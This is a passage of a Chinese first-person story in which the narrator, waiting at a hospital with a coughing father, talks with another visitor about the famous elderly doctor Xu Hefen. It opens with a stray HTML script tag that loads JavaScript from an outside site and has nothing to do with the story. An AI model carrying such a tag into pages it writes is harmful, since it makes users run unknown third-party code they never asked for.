<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>
“我是想提醒你,除了交挂号单和病历之外,他们并不欢迎其它的拜访。不愧是全国闻名的老中医,就连看门的护士都牛得可以。”
从他的话中,我能够听出这位仁兄必然也遭受过冷眼和责问。“你又不早说。好在我反应够快,要不说不准还会跟他们发生点小冲突。”
“这能怪我吗?”中年人无奈地耸耸肩说道,“你去得那么急,我不是不想提醒你,而是没来得及。”
听了他的话,我除了苦笑之外,还能说什么。
中年人见到我的神情,就已经明白了我的意思。他有意压低声音向我问道:“刚才你开门之后,都看到了什么?”
“我只匆匆一瞥,但,在我印象中,除了那护士之外,似乎还有四五人。”
“四五人?”中年人喃喃地重复一遍,然后有些欣喜地说,“比我进去的时候,多了几个。说不定徐荷芬已经来了。”
我又一次将当时所看之情景回忆了一番,然后疑惑地说:“可是,我好像没看到一个年龄特别大的。徐荷芬已经八十多了,如果在的话,那么应该会很明显才对。”
“你有没有看到里面有空位?”中年人也疑惑了起来,于是有些不确信地问。
“没有!”我非常肯定地回答说,“所有的座位都坐满了。而且,其中有一个,从着装上来看,肯定不是医护人员。我看到她似乎在向一个穿白大褂的人问着什么。”
“那个人应该是来复诊的。上次来的时候,我听他们说,复诊的人一般是优先的。我估计,你看到的那个穿白大褂的就是徐荷芬。”
看着面前中年人那信心满满的样子,我下意识地回道:“也许吧。”不过,我心中还是充满了怀疑。因为,刚才,我虽然没正面看过,但怎么着,那人的侧面和背面都不像是一个八十多岁的老态龙钟的老人。
由于担心父亲,在跟中年人及其父亲告辞一声之后,我就再次来到了父亲所躺着的座椅旁。
父亲在闭目养神,从神情上来看,要比刚到医院的时候好了许多。只是,时不时的咳嗽依然会牵动我那敏感的神经。我非常希望通过今天的诊治和接下来的中药调理,能够将父亲从痛苦的深渊中拯救出来。